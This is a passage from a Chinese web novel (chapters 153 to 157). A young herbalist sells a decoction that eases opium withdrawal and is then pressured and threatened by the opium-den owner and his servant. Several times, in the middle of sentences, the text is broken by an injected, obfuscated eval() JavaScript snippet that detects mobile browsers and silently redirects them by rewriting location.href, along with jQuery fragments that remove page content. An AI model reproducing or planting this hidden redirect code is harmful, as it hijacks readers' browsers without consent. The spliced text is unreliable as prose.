现在不能再拖了,要是孟雨兰跟自己一起去铺子里,就可以赶紧制香囊。 反正在城里需要什么,买起来很方便。 “那成,明日雨兰姐跟我一起去城里。” 说完许芷看着舅舅和王茹娇道:“家里的药田就交给你们了,要是发生了什么事情一定要你及时跟我讲。” “放心吧,外甥女儿,我在家你放心。” 邓耧子拍着胸脯说道,他已经辞了盖房子的工,以后就专心致志的给许芷照看药田。 这样挣得多,还能日日在村子里,跟刘喜英不会分开。 早日赚了钱,他要在城里买宅子,让刘喜英跟他去城里住,这样村里的流言蜚语就伤害不到她。 王茹娇也跟着保证说:“是啊,小芷,有我跟耧子哥在,你就放心吧。” 说完,她也忍不住问:“小芷,你卖的汤药真的有人买吗?” 她倒不是不信许芷的汤药,毕竟她亲眼看到堂哥如今好生生的能在地里干活。 但是城里人跟他们毕竟不一样,说不准他们会怎么想。 许芷简单说了下今天的情况,“反正最后今日准备的汤药都卖完了,明日我会熬两趟,所以下午会回来的晚一些。” 闻言,邓老太忙说:“你那铺子不是有房间住,要实在是太晚,不如就别回了,我今晚给你俩收拾两床被褥。” 许芷嗯了声:“有一床被子在那也好,闲时可以休息休息。” 确定许芷这生意做的还好,他们放心多了,吃过饭,该回家的回家。 许芷和祖母收拾了两床被褥。 邓老太怕许芷在那忙的吃不成饭,非要许芷带着家里制的咸菜,还有孟雨兰想法做的零嘴。 她还打算明日早点起来给她们蒸点大肉包子。 许芷拦住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097553|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 左忙右忙的祖母,说道:“祖母,城里什么都有,真是没空做,就买。” “那不行。” 邓老太拿出了个小坛子,一边装咸菜一边说:“那不得花钱啊?你这铺子刚开始,投入那么多,不得省着点。” 闻言许芷知道自己拦不住祖母,这都是祖母对自己的一片好心和关心,索性不拦了,由着祖母去。 可真由着,祖母看到什么都想让她带去,都觉得她需要。 眼看着已经二更亥四刻了,许芷不得已拦着祖母问道:“祖母是要把我扫地出门?” 邓老太收拾东西的手顿住,解释道:“怎么可能!祖母就是怕你吃苦。” 许芷无奈苦笑道:“祖母,我在城里呢,哪能吃什么苦? 而且我日日都回来,不过是偶尔在那住一下,祖母要是再收拾我就认为祖母是不想让我在家里,我以后可就不回来了。” 闻言,邓老太才作罢,被许芷推着回了房间睡觉。 而许芷则是看着那马儿一定会不堪重负的包裹,将里面的东西拿出来了七七八八。 不过拦住了这些,却没拦住祖母第二日一大早起来给她们蒸了四十个大肉包子。 硬是塞到包袱里塞不下,才肯罢休。 许芷骑着马,带上孟雨兰和他们收拾好的包袱去了城里。 到了铺子的时候,正好看到王金宝早起开门,而铺子外已经围上了好多人。 孟雨兰看到这么多人,微微吃惊。 乡亲们看到许芷到了,都高兴的涌上前。 七嘴八舌的夸赞许芷和她熬的汤药,都着急的想再要一碗。 因为人太多了,把许芷困在了马背上,下不来。 无奈她只好大声让大家先安静下来。 “各位乡亲,我知道大家很着急,但是我刚才,总要让我收拾一下不是? 大家先都回家该干什么就干什么,差不多两个时辰后再来就行。” 听到许芷的话,大家都自觉地让开了,让许芷先进铺子收拾。 可是却没有一个人回家,都自觉地在铺子外等着。 许芷看到没说话,劝不动就算了,他们愿意等自己也没法子。 第153章 声名远扬 进了铺子,许芷先跟孟雨兰介绍过王金宝。 “这是昨日招的伙计,王金宝。” 孟雨兰主动笑着打招呼,跟王金宝说了自己的名字。 两人认识过,许芷主动问:“王大哥,昨晚没事吧?” 一提起这个,王金宝高兴的说道:“许掌柜,你太厉害了,自从我染上那东西,再也没睡过一个好觉。 昨晚本来也有点发作的感觉,可没有从前那般抓心挠肝,很快就下去了。” 闻言,许芷颔首,招呼两人开始忙。 而孟雨兰听到许芷的话,猜到了什么,下意识的远离了一点王金宝。 王金宝察觉到了,眼神里有了一瞬间的失落,但也觉得是人之常情,很快调整好了。 许芷走到了药柜前,跟他们两人说:“你们两个把药罐子准备好,我现在开始抓药,抓完一副雨兰姐拿走泡一副,一副药大概要泡三刻,趁这个时间,王大哥你去烧炭生火。” 得了任务的两人,先一起把二十个药罐子都拿了过来,然后再各司其职。 许芷一下包六包药,药罐都拿过来完的时候,她这六包已经好了。 孟雨兰把每一包药都放进了药罐里,打了水来一罐一罐的加水泡药材。 二十个药罐子都弄好,已经一刻过去了。 而那边二十个药炉需要弄的碳,王金宝才弄了一半。 正好这会儿没事,许芷拿出了祖母给的包子放在了桌子上,让王金宝吃。 而她跟孟雨兰要去趟药铺和布铺。 她们买了些做香囊需要用的东西就回去了。 也是出来买东西,她们才知道,不过一日,铺子已经声名远扬。 升城的人都知道城里开了个名为乾坤的铺子,一个姑娘买的汤药能立竿见影的帮助那些个因为吸了烟膏而发作的人不再难受。 听着众人对许芷的夸赞,孟雨兰笑的嘴角快翘到了天上。 她转头看着依旧淡定的挑着东西的许芷,碰了碰她的胳膊问道:“小妹,你可出了名了。” 许芷淡淡的嗯了声,没再多的表示。 孟雨兰看着她宠辱不惊的样子,继续道:“你都不激动?” 闻言,许芷停了下来,转头疑惑的问道:“为何要激动?” 孟雨兰眨眨眼,心想小妹果然是做大事的人,要是人人都这么夸自己,她的尾巴早就翘天上了。 可小妹还是这么的淡然,人和人的差距果然就在这方寸之间啊。 买完东西回去的两人,看到铺子前等着的人更多了。 看到许芷回来都恭恭敬敬的跟她打招呼。 许芷虽然不是热切的性子,可开门做生意总不好板着一张脸。 所以她同众人微笑颔首进了铺子。 药罐里的药泡好了,接下来就是熬药。 二十个药炉需要的碳火,王金宝都引好了,已经分装好药炉中,一个个都放在了许芷昨日熬药的桌子上。 许芷和孟雨兰将所有的药罐子弄好放到了药炉上,开始熬药。 没一会儿,整个铺子飘荡的都是浓重的药味。 熬药的时候,用不上王金宝和孟雨兰,两个人只能坐在一边等着许芷叫他们办事。 许芷顾着火,转头看去,两个人都无比期待的看着自己。 她哑声失笑,笑声止住之后,她才开口道:“雨兰姐,你去把咱俩今日买的大桶洗刷一下,一会儿就要用到,刷完之后你没事的话就去趁空绣香囊。 王大哥,你来跟我一起看着火,现在先大火煮沸了,煮沸之后再转小火慢熬。” 交代下去之后,王金宝也拿了把扇子跟许芷一起看着每一个药炉的火。 而孟雨兰则是去给她们今天买的东西整理了整理,搬着大桶去刷洗后倒扣下去,晒在太阳下,接着开始绣香囊。 半个多时辰后,许芷挨个检查了一下药罐,确认药熬的差不多了。 她开始跟王金宝一起把药罐从炉子上拿下来。 拿下来后全都倒进了刚刚洗好的大桶里,弄完之后,开始打开窗户卖药汤。 一看开了窗,大家前赴后继的争着往前来。 许芷给了王金宝一个眼神,让他去外面维持一下。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100914|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 王金宝心领神会的走到门口,大声道:“大家莫要争抢,若是耽误了功夫,药凉了可就没效果了。” 此话一出,本来还拥挤的人群瞬间自发的排成行。 里面不乏新来的,也有一些是昨日已经买过的。 许芷让孟雨兰过来舀汤药,她负责记录,而王金宝在一边负责收钱。 昨天买的过,带着病人来的,许芷都把过脉探过情况,告知对方还要几碗汤药就能好,并告知了下一碗汤药喝的时间。 而新来的许芷也记录下来,让其下一次也带着病人来。 不过两刻,本来满满一桶的汤药如今已见底,许芷看了一眼人,让王金宝出去说一声,只够三个人了,让剩下的人都回家不必排队。 王金宝将许芷的话转述出去,外面众多人一听没了汤药,脸上都浮现了不耐神色。 “早知道等了这么久,没等到就不来了。” “说这话,早来一步你往前一个不都能买到?” “说的也是。” 讨论声进了许芷的耳朵,她跟大家说道:“下午还有一次,六十碗不多不少,没买到的下午再来。” 闻言,本来还有些丧气的人,瞬间燃起了希望。 买完之后,许芷让他们两个关了窗,对上了门板。 开始收拾所有的药罐子,药渣都倒过,药罐都清洗后,许芷对他们两人说: “先吃点什么吧,下午还要卖一场。” 说完,拿出了祖母早上包的包子,趁着还没灭的药炉,将包子放上去烤了烤。 不一会儿,屋里飘着炙烤过的面香和肉馅的香味。 许芷和孟雨兰一起烤,一下烤四个,孟雨兰吃两个,她跟王金宝吃两个。 烤了四个回合,就吃不下了。 孟雨兰早上吃的多,要不然,她还能再吃四个。 吃饱喝足之后,又开始了制药汤的程序。 这次趁着泡药材的时候,许芷配了点香囊里的药材,而孟雨兰逮空就赶紧绣香囊。 王金宝继续引炭火,三人各司其职,分头忙着。 第154章 杂**狗子 等下午的汤药卖完之后,三人收拾完,许芷开始算账记账。 算过之后,许芷又将今日来买药的名单都整理了一下。 其实主要是整理那些买过一次的,他们喝药的时间不尽相同,需要她好好想一下该怎么准备。 既要保证每天这些固定的病人汤药是有的,又要保证新来的人也能买到。 这样她就要计算清楚汤药最多需要几碗合适。 若是新来的和旧的病人最多的时候撞在一起,只怕是一天几百碗都有可能。 可是新的病人会逐渐减少,老的病人也会慢慢的结束疗程,最后人还是会慢慢变少。 所以,想多熬些汤药,不能多添置工具,应该是多熬几回。 许芷想清楚之后,打算以后每日第一回熬的汤药都紧着老病人来,将老病人都打发走了再发展新病人。 算清楚之后,许芷提前将明日要用的药材都分好,明天来了直接泡水就成。 同时也写了个告示,贴在了门外。 告知乡亲父老,每日第一桶药汤紧着买过的人。 做完这一切后,天都快黑了,许芷看着王金宝喝了单独熬的药之后,将剩下的包子都给他留着,把他锁紧了屋里。 关上了铺子的门,趁着天边还有些亮,骑马带着孟雨兰回了家。 到家的时候,天已经完全黑了下去,身后的孟雨兰抱在她腰上的手臂紧了又紧。 听到马蹄声,邓老太赶紧出来看,看到孙女和孟雨兰都回来了,她高兴的问道:“怎么今日这么晚?” 孟雨兰刚下来,已经没了刚刚的害怕,她同样兴奋地开始跟祖母讲今日在城中的盛况。 邓老太听了兴奋不已,同时也因为有许芷这样的孙女,而更加自豪。 等着许芷把马栓好,喂了水和粮草,三人才一起回了家吃饭。 两人回了家,看到桌子上那一大盆黄豆炖猪蹄,都愣住了。 没错,两人并没有看错,真的是一大盆。 还有一盆蒸好的大白馒头、一个炖肘子、一大盘炒鸡蛋、一碟小咸菜。 孟雨兰疑惑问道:“奶奶,除了咱们仨还有人来吃饭?” 邓老太瞪她一眼,“哪有别人,就咱们祖孙仨。” 她不就是寻思这俩人今天累着了,所以特意让儿子去买了猪蹄和肘子,给两个孩子补补。 许芷平时会给祖母家用,让祖母想吃什么买什么。 不过一般祖母没有需要用的时候,不知不觉攒了不少,今日这一下买了不少。 “行了赶紧吃饭吧,今天都出去忙活一天了。” 邓老太招呼两人赶紧吃饭,许芷和孟雨兰一个人舀饭一个人摆筷,很快就坐下开始吃饭。 因为今日只能说过的充实,不算特别忙,所以两个不算特别饿。 再加上中午都吃了肉包子垫吧,这会儿倒还真吃不下太多。 尽管如此,有了孟雨兰这个胃口大的,除了那一盆猪蹄和馒头没吃完,剩下的都吃完了。 吃完收拾过,三人都躺在祖母那屋的床上歇着。 孟雨兰将今日没绣完的那个香囊拿了回来,这会儿正绣着。 许芷那出了今日记录的名单,再次计划明日熬药汤的事情。 而祖母看着两个孙女各忙各的,只觉得日子就这么过,也挺好。 接下来半个月,许芷都忙着汤药的事儿。 渐渐地新来的病人几乎没有了,有的都是老病人,也有一些汤药疗程结束的。 而这期间最忙的时候,许芷甚至一天熬五回药,从早上熬到了晚上子时,只为了让所有人都喝上这汤药。 好在现在是熬过来了,没那么多人,也恢复了一天两回熬药。 这一日上午,许芷她们刚买完了上午的汤药,正收拾着一辆华丽的马车停到了铺子前。 孟雨兰和王金宝一下就看到了这马车,两人好奇的打量着,想看看那马车上会下来什么样的人。 可那马车停稳后,只是旁边的小厮进了铺子。 那小厮趾高气昂的站在门口,道:“这里那位是当家的?” 闻言,许芷停下忙碌的身影,直起身子看向对方道:“我是。” 那小厮看向许芷,眼神里满是轻蔑:“就你?” 听着这轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100915|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视人的语气,许芷眼神冷了些。 “有事便说。” 那小厮没想到许芷敢如此,他还从来没被这样冷待过。 他不高兴的“嘿”一声,走上前来挽着袖子好似要动手,可马车里的人叫住了他。 “四方!” 这声音成功的拦住了这个叫四方的小厮,四方面露不悦的看着许芷,不屑道:“姑娘,我们公子有请。” “不去。” 许芷头也不抬的回绝了对方。 听到她敢拒绝,四方这次是真忍不住生气了。 “你算个什么东西?你知道我们公子是谁吗?若是他要见你,你自该三叩九拜,叩谢神明给你这机会,你还敢不去!” 听到这话,孟雨兰忍不了了,直接骂回去。 “你算个什么东西,就算你家公子位高权重,你又算什么?不过是条仗势的狗,居然还敢这样说话,我们家小妹不想去怎么了?光天化日之下,你还敢绑了我们不成!” “你!你个泼妇,说什么呢?” 四方指着孟雨兰,脸色难看到极点。 从来没人敢这么骂自己,到哪自己不是被捧着,居然背这种不知道哪来的黄毛丫头指着自己骂。 “说什么?哼!说的就是你这条杂**狗!” 孟雨兰丝毫不落下风,口齿伶俐的骂回去。 她轻笑继续道:“你要是还没听清,还问我,那我也不介意多重复几句杂**狗,杂**狗,杂**狗!” 说完,四方气的脸都哄了,举着手就要来孟雨兰面前扇她。 许芷看到他要动手,立马挡在了孟雨兰身前。 王金宝见状速度也很快的挡在了两个姑娘身前。 不过到底四方的巴掌没打下来。 “四方,住手!” 马车里的人仅用一道声音再次拦住了四方。 那人还是没有下车,但浑厚的声音从马车里传了出来。 “许...姑娘是吧,我并不想为难你,你还是跟我走一趟吧,要不然后果不是你能承担的起的,我知道你并不在乎自己怎么样,可你还有家人不是吗?” 第155章 谈笔生意 闻言,许芷眼神更冷了,她盯着马车看了许久,跟孟雨兰交代道:“你跟王大哥先收拾着铺子,我去去就回。” 孟雨兰担心的抓住了她的手,道:“我跟你一起去,我倒要看看什么贵公子,手下能养出这样的杂**狗!” 一旁的四方听到,气的手都是抖得,可惜公子不让他乱来,要不然他要让这女的知道厉害。 许芷把孟雨兰握着的手抽出,放在她的手背上,安慰的拍了拍。 “不用,我去就成,很快就回来。” “小妹......” 孟雨兰还是一脸担心,但是知道她去意已决,扬起个笑容道:“祖母今晚不知道做了什么好吃的等着我们两个呢,一定要早点回来。” 许芷也嘴角扬起,让自己看起来轻松些,嗯了声就跟着那小厮出去。 小厮轻嗤一声,对许芷说:“便宜你了。” 话音落下,搬下来一个车凳,掀开帘子让许芷上去。 许芷冷着脸上了马车,看到了马车里的人。 那是一个异常清秀的男人,身穿藏蓝色素缎长袍,墨发简单束起,气质沉静。 他本来闭着眼假寐,察觉到许芷的身影的时候,眼皮子缓慢地掀起,将许芷从下到上看了个仔细。 最后,定在许芷那张脸上。 如果许芷没看错的话,那人的眼神里快速闪过了一丝不屑和失望。 她轻轻呼出一口气,淡然的坐在了这人左边的位置。 男人似是没想到这么个丫头敢这样坐,可想了想这丫头的出身,轻嗤一声又觉得合理。 乡野丫头,哪来的什么礼数。 马车很快启动,晃晃悠悠的行走在热闹的街道上。 男人又闭上了眼睛,沉默着并不说话。 许芷也靠在窗边,微微闭上双眼,透过晃动的窗帘缝隙观察着路线,她得知道要被带到哪里去。 不久,那男人哼笑一声,轻启薄唇:“若是要瞒你,就该把你打昏了直接带走。” 他故意不理许芷,想看看她会是什么反应。 被陌生人带走,还冷落她,一般丫头早就惶恐不安。 可她竟然也闭上了眼,他还以为她心大到这种地步。 不过再一看,才发现这丫头在悄悄记路线。 他嘴角微微勾起,觉得有意思,这种出身的丫头也会有这般的心思。 故意哼笑一声,点破许芷的做法,看看她会不会觉得不自在。 可他想多了,许芷闻言神色并无变化,继续看着窗外,只是由刚刚的偷看,变成了大大方方得看。 她睁开眼睛掀开帘子,并不遮掩自己的行为。 “那我应当谢谢你?” 适时的反问,转过头直接对上了他打量的眼神,没有一丝一毫的害怕和惊慌。 就那么直白裸露的眼神,好像是天上的太阳。 倒是把温之鹤看的有些讪讪,不自然的撇开了眼神,又想要对上的时候,那丫头早就看向了外面,并不等着他的眼神再次光临。 温之鹤在心底对自己嘲讽一笑,见过多少大风大浪之人,今日竟然被个小丫头看**了。 是该说自己身处这个位置笑脸看多了,还是这丫头眼神太过凌厉呢? 想着想着,便到了地方。 马车停下的声音将温之鹤思绪拉了回来,他瞬间感受到了懊悔。 明明来的时候打算在路上观察这丫头,真见了这丫头又觉得没什么好观察的,可这一路没观察上就算了,还一直在想自己,真是失策。 他轻咳一声想掩盖自己刚刚的思绪,可真咳出声又觉得没必要。 他正乱着,许芷已经抬脚下了马车,他赶紧跟了下去。 许芷在路上早就看出来这马车要去的地方是逍遥馆。 此时马车就停在了逍遥馆的后门,不过她想想也该知道,这城里估计只有逍遥馆的人想找自己了。 自己可是耽误了他们的生意。 等着马车上那人下来,许芷跟着进去。 那人走得很快,她几乎是小跑着跟了上去,进了一间茶室。 茶室里早就摆上了沏好的茶,许芷等着对方坐下之后,才坐在了对面。 看着对方状似无事一般喝着茶, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104990|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她先开了口。 “有什么事情就说吧,我没有这么多时间跟你在这品茶。” 温之鹤眼神里带上了笑意,终于等不及了,果真就是个丫头。 他喝完了杯中的茶,下巴抬起指了下,许芷面前的茶杯。 “好茶,不喝可惜了。” 许芷不用喝刚进来闻到这香气就知道这茶不错。 “蒙顶石花,贡茶,因像石头上的苔藓,冲泡后整芽形似花,又因产自蒙山而得名,汤色嫩绿清亮,滋味干爽鲜嫩、香醇持久,确实是好茶。” 温之鹤眼神里多了丝意外,他没想到许芷喝都没喝,只是进来闻到了茶香就能猜到是什么茶叶,名字由来、滋味何许,甚至知道这是贡茶。 这可不像是个乡野丫头才有的见识。 可他派人调查过这丫头,除了身世可怜些,并没有什么出格之处。 就是村里的丫头,甚至在前十四年,都没出过村。 祖上更没有什么显赫家世,并不是落魄后代,怎么会? 难不成这村子里有什么他们不知道的隐士高人? 改日还是要好好查一查下坪村才是。 他脸上依旧挂着笑,看着许芷道:“没想到姑娘不仅对草药了解颇深,就连这茶叶也了如指掌。” 许芷神色多了些不耐,直接道:“直接说吧,别拐弯抹角了,挺没意思的。” 温之鹤脸色僵了一瞬,这丫头...... 他给身边的小厮四方使了个眼色,四方心领神会的给他重新倒了杯茶。 又将许芷杯中凉掉的茶倒掉,重新倒了杯热茶。 温之鹤边品茶边开口:“今日请许姑娘过来,只要给许姑娘谈一笔生意的。” “我跟你们没什么生意好谈。” 许芷冷言说道,说完顺道把杯子里的茶泼在了一边的地上。 这行为不是一般的大胆,她已经猜到了对面之人的身份,所以她在堵,赌自己这样无礼,对方不愿意自降身份做一些事情。 果然这行为一下激怒了对方,她能明显看到温之鹤眼神中的怒火,可他还是克制着。 第156章 丧心病狂 而小厮四方就没有那么好的定力,他生气的上前吼道:“你个不知天高地厚的贱丫头,知道这茶有多珍贵吗?就你这种出身别说喝,就是见到见不到,今日我们家公子拿出最高诚意见你,你竟敢摆这种谱,简直是不想活了!” “那就杀了我。” 话音落下,许芷偏头看向暴怒的四方,眼神平静异常。 “什、什么?” 可这话却让四方哽住了。 四方看着对方依旧冷静地面庞,半天才找回自己的声音。 “你个臭丫头,胡说八道什么呢?我们公子最是慈善,怎么会杀你,你这是陷我家公子于不义!” 听到这话,许芷垂眸讽刺一笑,再抬头眼神冷了许多。 反问:“不是你说的我不想活了,我顺着你说,怎么就是我陷你公子于不义? 真算起来应当是你这狐假虎威的小厮,陷他于不义才对。” 跟着话音落下,许芷的眼神也到了温之鹤的身上。 温之鹤始终挂着笑,听到许芷的话,倒是收了收笑意,一个眼神看过去。 四方立刻收了嚣张的气焰,乖顺的站回了温之鹤身侧。 只是那怨毒的眼神依旧,许芷权当看不见。 “公子若是无话可说,我便走了,反正你们也没打算瞒我,回去的路我可认得。” 这话逗笑了温之鹤,他伸出手让许芷别急,缓缓开口道:“许姑娘,我是真的想要跟你做生意。 如今升城谁人不知有位许姑娘研制出了汤药,帮助升城的百姓摆脱了我们馆子的烟膏呢?” “既然如此,你就该知道,**的和解毒的是永远不可能站在同一条战线的。” 许芷冷着脸说道。 听到许芷拒绝的话,温之鹤脸色并没有大变化,像是猜到了会这样,他继续道: “怎么会呢?许姑娘还是年龄小啊,不明白有钱能使鬼推磨这个道理,只要有了共同的利益就算是杀父仇人都能合作。” 他亲自拿起茶壶给许芷倒了杯茶,眼神锁定了许芷,好像势在必得。 闻言,许芷沉默了,不喝茶的她突然觉得口渴了,她的手握住了茶杯,可迟迟没有端起,只是握着。 “愿闻其详。” 温之鹤嘴角重新扬起,他就知道没人拒绝赚钱的生意。 “许姑娘,我们这烟膏虽然卖得好,可是那些客人需要的时候实在是太难受了,喝了你的药他们的症状能减轻许多。 所以我们的烟膏可跟你的汤药配合使用,既能让想要的客人没那么难受,又能让他们吸烟膏,这不是两全其美的事情。 我听说许姑娘的汤药才卖五十文一碗,若是你我合作这汤药可卖五两一碗,到时候你能挣的可海了去了。 不仅如此,每个客人我还给你十两银子的抽成,只要你跟我们合作,挣钱都是小事,何乐而不为呢?” 这话听得许芷背后发凉,她卖这汤药本意是要帮助那些上了瘾的人,可是却被卖药膏的人看到了商机。 等等! 许芷突然想到了什么。 她的汤药本来应该是让逍遥馆想法设法毁掉的存在,怎么会想到了合作的上面。 除非已经有人这样做,让他们看到了商机,才会如此。 她的手有些颤抖,尽力保持镇静问道:“公子真是才情双绝,是怎么想到这种法子的呢?” 温之鹤闻言垂头浅笑,还没说话。 身边的四方早就忍不住了,他骄傲的开口道:“你个乡野丫头知道什么?我们公子自然是最好的公子,不过这法子还是看了那些个来抽烟的贵公子们一边喝药一边抽烟才想到的,还算你这丫头有点用。” 此言一出,许芷只觉得脑子“叮”的一声,四方的声音变得模糊。 她从来没想过来买药的人,竟然会把自己的药用做此。 看到许芷略显苍白的脸色,温之鹤知道任何治病行医的人,得知自己的药反而助长了某些东西,道心破碎的滋味不好受。 他觉得如今是他占了上风,姿态又重新摆了起来。 “许姑娘好好考虑,只是我这人的耐心没那么多,在这你有大把的时间考虑,只是出了这个门,可就不成了。” 闻言,许芷闭眼微不可查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104991|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的叹了口气,白着脸问道:“若我不肯呢?” “不肯?”四方嗤笑一声,像是听到了什么笑话一般:“你个什么都没有的穷丫头,还敢跟我们公子对着干。” 温之鹤抬手制止了四方说更难听的话,他接过话头继续道:“姑娘来之前,我听得你祖母还等着你跟你姐姐回去吃饭呢,若是你回去没有饭可吃岂不是可怜?” 他眼神恢复了见许芷之前的冷冽狠戾,脸上挂着势在必得的笑容,等着许芷的回答。 而四方着急道:“公子还跟她说什么,咱们的地位还轮得着她考虑,姑娘,知道怀清堂的东家吗?” 许芷闻言猛地抬头看过去,宋清奕竟然跟这件事有关? 四方看到许芷这反映,只当她是怕了,确实怀清堂的名声在这升城里十分的响亮。 他满意的笑了,继续说道:“宋公子可是皇商之子,这药膏可都是从怀清堂运来的,你一个小丫头,敢跟皇商对着干? 我劝你赶紧同意,别让我们公子等太久,要不然呐,后果自负。” 这些话让许芷的心里一忳一忳的疼,她没想到宋清奕竟然做了这种事。 简直是丧心病狂! 她十分的看不起宋清奕这种作为,甚至觉得费解。 从前她跟宋清奕跟这父辈学习医术的之时,两人都抱着悬壶济世的决心去学的。 誓要将全天下之人都不受病痛之苦,两人甚至为此种了一棵杏树在河边,年年都要去杏树下发誓好好学医。 可曾经那个人怎么会变成了害了全城人的刽子手。 怪不得,每一次她都能在逍遥馆附近遇上杜仲,怪不得她闻到那气味,怪不得黄药师看到她的药房会上来问。 怪不得...... 许多她忽略的细节都串了起来。 那日她在马车里寻找的时候,黄药师那么及时的赶到。 她在马车里找到的东西,并不是烟膏,而是一个盒子,里面也有烟膏的气味。 她甚至怀疑了杜仲染上,都没怀疑宋清奕做了这件事。 可事实就在眼前,容不得她不信。 第157章 碧螺虾仁 “宋清奕...” 许芷无声地呢喃。 看着许芷震惊的样子,温之鹤只觉得奇怪。 寻常被权势吓到的话不该是这样,她的反应更像是知道了一件不敢相信的事情。 温之鹤觉得不至于,这怀清堂在本地威名就这么好? 知道这种事儿就如此受打击? 但这不是他要考虑的,温之鹤看着许芷大受打击的样子,又问道:“许姑娘要考虑多久呢?” 脸上已经有了不耐烦之色。 许芷抬眼看去,刚刚那深受打击的模样已经不见。 她表情淡定了许多,开口说道:“别急啊,赚钱的生意,哪能那么简单就决定了。” “那你想怎样?” 温之鹤看过去,眼神冷了些。 “我要见怀清堂的东家,他不来我就跟你耗着。” 许芷的话音刚落下,炮仗一样的四方又炸了。 “我说你是不是听不懂人话?你跟谁谈条件呢?” “如果我见不到他人,我就死在这,这药汤的方子只有我一个人知道,你们自己看着办吧。” 许芷说完毫不畏惧的看着温之鹤,等着他说话。 四方还想说什么,被温之鹤抬手制止了。 “你应该知道只看药渣我也能看出来的,我现在还跟你好好说话,不是你有多有用,而是我不想把事儿弄的太麻烦。” 温之鹤眼神里有了威胁之意。 闻言,许芷反而笑了,“是吗?那你可能要麻烦一些了。” “敬酒不吃吃罚酒?” 温之鹤眼神凌厉,看向许芷的时候,已经盛满了不耐烦。 “你大可以去查,怀清堂的东家对我多番照顾,想必我今日想见他,他并不会拒绝的。” 她要问清楚,跟宋清奕问清楚这到底是怎么回事! 两人就这么对峙着,许久,温之鹤给了四方一个眼神,四方有些不情愿。 不是他不想跑,也不是他不听公子的,完全是因为她觉得许芷这种穷酸丫头不至于他们这样费心思。 可是温之鹤一个眼神过来,他只能老老实实的出去了。 温之鹤又恢复了那淡然的样子,甚至好心的让许芷喝茶。 一刻钟之后,四方急匆匆的赶来,他脸色不是很好,大声道:“公子,怀清堂的东家出去谈生意还没回来,黄药师过来了。” 许芷闻言,心底冷笑一声。 看来他是不敢面对自己,竟然派了黄药师过来。 说话间黄药师已经进了屋子,他看到许芷依旧是那副热络的小老头的样子。 “你这丫头怎么也在这?” 许芷皮笑肉不笑道:“自然是来谈生意的,黄药师您...?” 黄药师熟稔的坐下,给自己倒了杯茶,喝完后感慨了一句好茶,才回答许芷的话。 “我来自然是受了东家的命令,听说许丫头要见我们?有什么事跟我说就成,东家忙得很。” 许芷脸色冷了几分:“刚刚听四方小哥说,你们东家在外地谈生意还没回来啊,怎么黄药师您一进来就说是得了东家的命令,也不知你们谁在骗人啊。” 黄药师依旧笑着,浑不在意道:“这不是东家走之前让我看着铺子里的事儿,所以有事儿我就来了,也算是东家的命令。” 闻言,许芷沉默不语。 而黄药师则是故意问温之鹤:“温老弟,今日让我来是为了谈什么生意啊?” 四方赶紧给黄药师添了茶,黄药师喝过后才听到温之鹤回答。 “我想应该让许姑娘跟黄药师说,毕竟你们都这么熟了,而许姑娘又是这生意的重要人选。” 话落,两人的视线都落在了许芷的身上。 许芷轻笑一声:“别啊,我觉得你身边的小厮说的不错,我就是个不知轻重的黄毛丫头,哪能在关公面前耍大刀啊,你们说就是。” “哎?”黄药师不赞同道:“哪有你这般对草药如此熟知的黄毛丫头,你这孩子本事大着呢,我听说最近开了间铺子,生意好的很。” 说话间,许芷的脸色越来越冷。 